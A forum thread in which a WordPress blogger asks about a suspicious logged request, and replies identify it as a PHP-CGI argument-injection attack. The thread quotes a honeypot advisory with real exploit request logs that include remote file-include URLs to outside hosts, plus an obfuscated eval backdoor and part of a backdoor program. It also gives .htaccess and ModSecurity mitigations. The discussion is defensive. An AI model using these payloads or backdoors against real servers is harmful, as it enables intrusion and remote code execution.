Hello and welcome to our community! Is this your first visit?
Register
Enjoy an ad free experience by logging in. Not a member yet? Register.
Results 1 to 9 of 9
  1. #1
    Regular Coder
    Join Date
    Oct 2008
    Location
    Poland
    Posts
    382
    Thanks
    150
    Thanked 2 Times in 2 Posts

    What's that? Did somebody try to hack my site?

    Hello, I have a wordpress blog and a plugin that find the referral URL, that shows the originating URL and the URL people are surfing.

    I have found something strange. Somebody was "surfing" this site:

    PHP Code:
    http://myblog.com/?-n+-dsafe_mode%3dOff+-ddisable_functions%3dNULL+-dallow_url_fopen%3dOn+-dallow_url_include%3dOn+-dauto_prepend_file%3dhttp://btslbl.com/ubica.txt+ 
    The txt of that URL shows:
    PHP Code:
    <?php $d=@$_POST[chr(100)]; $s=substr(2,1); for($i=0;$i<strlen($d);$i=$i+3) { $s.=chr(substr($d,$i,3)-15); } if($s) { eval($s); } exit; ?>
    What's that? Did they just try to hack me? Or they did something?
    What does this code do?

  • #2
    Senior Coder
    Join Date
    Feb 2011
    Location
    Your Monitor
    Posts
    4,441
    Thanks
    62
    Thanked 537 Times in 524 Posts
    No idea but it does look sinister. That url could perhaps be an attempt to exploit a weakness in the webserver or something.

    Again I don't know for sure so you might want to look into using some sort of security measures such as blacklisting.
    See my new CodingForums Blog: http://www.codingforums.com/blogs/tangoforce/

    Many useful explanations and tips including: Cannot modify headers - already sent, The IE if (isset($_POST['submit'])) bug explained, unexpected T_CONSTANT_ENCAPSED_STRING, debugging tips and much more!

  • Users who have thanked tangoforce for this post:

    utnalove (07-26-2012)

  • #3
    Senior Coder
    Join Date
    Sep 2010
    Posts
    2,451
    Thanks
    17
    Thanked 275 Times in 275 Posts
    People are trying to hack my home server all the time, using bots that just ping random IPs. So I made a phony phpMyAdmin folder and a joke setup page for them to access. Joke's on them.

  • #4
    Senior Coder Rowsdower!'s Avatar
    Join Date
    Oct 2008
    Location
    Some say it's everything.
    Posts
    2,027
    Thanks
    5
    Thanked 397 Times in 390 Posts
    It looks like an attempt to exploit a CGI file. Check out this link:

    http://blog.spiderlabs.com/2012/05/h...-cgi-vuln.html

    Out of curiosity, are you hosted by DreamHost?


    Re-post of the content from my link, for posterity:
    07 May 2012

    [Honeypot Alert] (UPDATE) Active Exploit Attempts for PHP-CGI Vuln

    UPDATE - we have received more exploit attempt details from web hosting provider DreamHost. Thanks goes to Robert Rowley for data sharing. Details below.

    As you may have heard, some security researchers recently released information outlining a long standing vulnerability within the PHP-CGI code. The short of it is that remote attackers may be able to pass command line arguments in a query_string that will be passed directly to the PHP-CGI program. Ouch...

    Exploit Attempts

    Our web honeypots caught the following exploit attempts today:

    Code:
    37.112.127.136 - - [07/May/2012:02:36:11 +0400] "GET /?-s+%3d HTTP/1.1" 200 38 "-" "-"
    37.112.127.136 - - [07/May/2012:02:36:12 +0400] "GET /?-d+auto_prepend_file=http://r00texp.narod2.ru/ows.txt HTTP/1.1" 200 38 "-" "-"
    91.210.189.171 - - [07/May/2012:04:46:12 +0400] "GET /?-s HTTP/1.0" 200 6085 "-" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
    94.242.199.77 - - [07/May/2012:05:01:17 +0400] "GET /?-s HTTP/1.0" 200 6085 "-" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
    37.112.127.136 - - [07/May/2012:12:08:01 +0400] "GET /?-d+auto_prepend_file=http://r00texp.narod2.ru/ows.txt HTTP/1.0" 200 753 "-" "-"
    37.112.127.136 - - [07/May/2012:12:08:01 +0400] "GET /?-s+%3d HTTP/1.0" 200 753 "-" "-"
    Notice that while some of these are simply probes to see if the application might be vulnerable, there are also two RFI attempts to execute remote PHP code.

    (UPDATE) DreamHost Exploit Attempt Details

    DreamHost security provided SpiderLabs Research team with ModSecurity alert logs related to PHP-CGI Exploit attempts. These logs provide a much wider view of attack scale as DreamHost hosts more than 1,000,000 domains. Here are some stats:

    Code:
        Number of PHP-CGI Exploit Attempts: 234,076
        Number of unique domains targeted: 151,275
    Here are the top 10 attack vectors seen (with the # of attacks shown in the first column:

    Code:
     198489 'GET /index.php?-s'
       7837 'GET /blog/index.php?-s'
       6078 'GET /index.php?-dallow_url_include%3don+-dauto_prepend_file%3dhttp://www.5999mu.com/a.txt'
       2075 'GET /index.php?-s/wp-admin/install.php'
       1790 'GET /wordpress/index.php?-s'
       1605 'GET /wp/index.php?-s'
        862 'POST /index.php?-dsafe_mode%3dOff+-ddisable_functions%3dNULL+-dallow_url_fopen%3dOn+-dallow_url_include%3dOn+-dauto_prepend_file%3d%2Fproc%2Fself%2Fenviron'
        670 'GET /index.php?-dsafe_mode%3dOff+-ddisable_functions%3dNULL+-dallow_url_fopen%3dOn+-dallow_url_include%3dOn+-dauto_prepend_file%3dhttp%3A%2F%2Fphp-cgi.ipq.co%2Fi'
        534 'POST /index.php?-dsafe_mode%3dOff+-ddisable_functions%3dNULL+-dallow_url_fopen%3dOn+-dallow_url_include%3dOn+-dauto_prepend_file%3dphp:%2f%2finput'
        422 'GET /index.php?-dallow_url_include%3don+-dauto_prepend_file%3dhttp://www.qz0451.com/1.txt'
    Goal - Webshells/Backdoors

    One of the major goals of these attacks are to try and download/install webshells and backdoors. Let's look at one example shown above:

    Code:
    GET /index.php?-dsafe_mode%3dOff+-ddisable_functions%3dNULL+-dallow_url_fopen%3dOn+-dallow_url_include%3dOn+-dauto_prepend_file%3dhttp%3A%2F%2Fphp-cgi.ipq.co%2Fi
    The remote RFI file is a PHP backdoor program. One of the more interesting aspects of this code is the following section of code where the attacker wants to prevent others from exploiting the same vulnerability:

    Code:
    if($backdoored > 0)
    {
    	echo chr(10)."{$backdoored} BACKDOOR_INSTALLED".chr(10);
    
    	$htaccess = getcwd() . "/.htaccess";
    	$htaccess_body = @file_get_contents($htaccess);
    
    	$fp = fopen(".htaccess", "w+");	
    	if($fp)
    	{
    		fwrite($fp, 
    
    		'<IfModule mod_rewrite.c>'.chr(10).
    		'RewriteEngine On'.chr(10).
    		'RewriteCond %{QUERY_STRING} ^(%2d|-)[^=]+$ [NC]'.chr(10).
    		'RewriteRule ^(.*) $1? [L]'.chr(10).
    		'</IfModule>'. 
    
    		str_repeat(chr(10), 5). 
    		$htaccess_body
    		);
    
    		fclose($fp);
    	}
    	else
    	{
    		echo ".htaccess bugfix error!" . chr(10);
    	}
    }
    The highlighted mod_rewrite rules will be added to .htaccess files as a crude method of patching the PHP-CGI vuln to prevent someone else from exploiting the same issue. The RewriteCond line will inspect the query_string to see if it starts with the dash character (-) and is not followed by the equal sign character (=). If this is true, meaning someone is attempting to exploit the vuln, then the final RewriteRule will capture the full REQUEST_URI will then add a question mark character (?) to the end and instruct mod_rewrite to treat the request as a symlink ([L]). Using mod_rewrite in this way should cause future attack to fail.

    Mitigations

    Due to the fact that attackers are actively probing for this vulnerability combined with PHP code fixes that may not be complete, you should consider deploying some security filters in the interim. There have been public posts outlining possible filters using mod_rewrite such as the following:

    Code:
    RewriteEngine on
    RewriteCond %{QUERY_STRING} ^[^=]*$
    RewriteCond %{QUERY_STRING} %2d|\- [NC]
    RewriteRule .? - [F,L]
    This roughly translates to: if the query_string does not have an equal sign (=) and it does have a dash (-) then issue a Forbidden response. The problem with this filter is that it would not catch the RFI examples we captured with the web honeypots as they have an = sign when declaring the PHP "auto_prepend_file" function.

    Trustwave SpiderLabs has developed the following ModSecurity rule that will catch all currently known exploit attempts:

    Code:
    SecRule QUERY_STRING "^-[sdcr]" "phase:1,t:none,t:urlDecodeUni,t:removeWhitespace,block,log,msg:'Potential PHP-CGI Exploit Attempt'"
    This rule will check for the four most common PHP command line arguments coming directly after the question mark (?) character to start the query_string. It will apply a URL decode and remove whitespace characters.
    Last edited by Rowsdower!; 07-26-2012 at 05:43 PM.
    The object of opening the mind, as of opening the mouth, is to shut it again on something solid. –G.K. Chesterton
    See Mediocrity in its Infancy
    It's usually a good idea to start out with this at the VERY TOP of your CSS: * {border:0;margin:0;padding:0;}
    Seek and you shall find... basically:
    validate your markup | view your page cross-browser/cross-platform | free web tutorials | free hosting

  • Users who have thanked Rowsdower! for this post:

    utnalove (07-26-2012)

  • #5
    Regular Coder
    Join Date
    Oct 2008
    Location
    Poland
    Posts
    382
    Thanks
    150
    Thanked 2 Times in 2 Posts
    thank you! I am not on Dreamhost. The whole content of the server is a Wordpress blog.
    Should I worry about this attack?

  • #6
    God Emperor Fou-Lu's Avatar
    Join Date
    Sep 2002
    Location
    Saskatoon, Saskatchewan
    Posts
    16,994
    Thanks
    4
    Thanked 2,662 Times in 2,631 Posts
    Quote Originally Posted by utnalove View Post
    thank you! I am not on Dreamhost. The whole content of the server is a Wordpress blog.
    Should I worry about this attack?
    I love this one.
    Run a simple phpinfo() and look for the sapi, or run a simple print php_sapi_name();. If its says CGI then you'll want to follow the documentation for the .htaccess modifications. The above exploit should not be applicable in a module build.

  • Users who have thanked Fou-Lu for this post:

    utnalove (07-27-2012)

  • #7
    Senior Coder Rowsdower!'s Avatar
    Join Date
    Oct 2008
    Location
    Some say it's everything.
    Posts
    2,027
    Thanks
    5
    Thanked 397 Times in 390 Posts
    Quote Originally Posted by utnalove View Post
    thank you! I am not on Dreamhost. The whole content of the server is a Wordpress blog.
    Should I worry about this attack?
    Yeah, sorry but I'm no security expert by any stretch of the imagination. At the very least, it sounds like the attack is random (not targeted at you, specifically).

    Quote Originally Posted by Fou-Lu View Post
    I love this one.
    Run a simple phpinfo() and look for the sapi, or run a simple print php_sapi_name();. If its says CGI then you'll want to follow the documentation for the .htaccess modifications. The above exploit should not be applicable in a module build.
    Just curious, though...if you DO have CGI shown in phpinfo() but you don't have any CGI files in your file tree...are you still vulnerable to this exploit? Or does it only work if you have CGI files in your website's folder?


    Edit: From further reading, it appears as though vulnerability exists irrespective of the absence or presence of any CGI files on your server. It's all about whether or not CGI is enabled.

    Also of interest is that FastCGI is apparently NOT vulnerable to this exploit (see "executive summary" section here). If, using Fou-Lu's suggestion of print php_sapi_name(); the result you see if "cgi-fcgi" then maybe you're fine? (Am I reading this correctly?)

    Otherwise, if your CGI name is something else then you probably need to get cracking on an .htaccess fix.
    Last edited by Rowsdower!; 07-26-2012 at 06:34 PM.
    The object of opening the mind, as of opening the mouth, is to shut it again on something solid. –G.K. Chesterton
    See Mediocrity in its Infancy
    It's usually a good idea to start out with this at the VERY TOP of your CSS: * {border:0;margin:0;padding:0;}
    Seek and you shall find... basically:
    validate your markup | view your page cross-browser/cross-platform | free web tutorials | free hosting

  • Users who have thanked Rowsdower! for this post:

    utnalove (07-27-2012)

  • #8
    God Emperor Fou-Lu's Avatar
    Join Date
    Sep 2002
    Location
    Saskatoon, Saskatchewan
    Posts
    16,994
    Thanks
    4
    Thanked 2,662 Times in 2,631 Posts
    I'll try to read over the whole article when I get a chance. If it says its only the cgi and not fast cgi, then I'd expect a sapi of cgi-fcgi would be fine (if they have some exploit examples, I'd suggest trying a quick run through it as well to see if it reflects the same behaviour on the fastcgi as on cgi).

  • #9
    Regular Coder
    Join Date
    Oct 2008
    Location
    Poland
    Posts
    382
    Thanks
    150
    Thanked 2 Times in 2 Posts
    Hi, in the phpinfo the word CGI doesn't appear anywhere.
    The print of php_sapi_name is litespeed.


  •  

    Posting Permissions

    • You may not post new threads
    • You may not post replies
    • You may not post attachments
    • You may not edit your posts
    •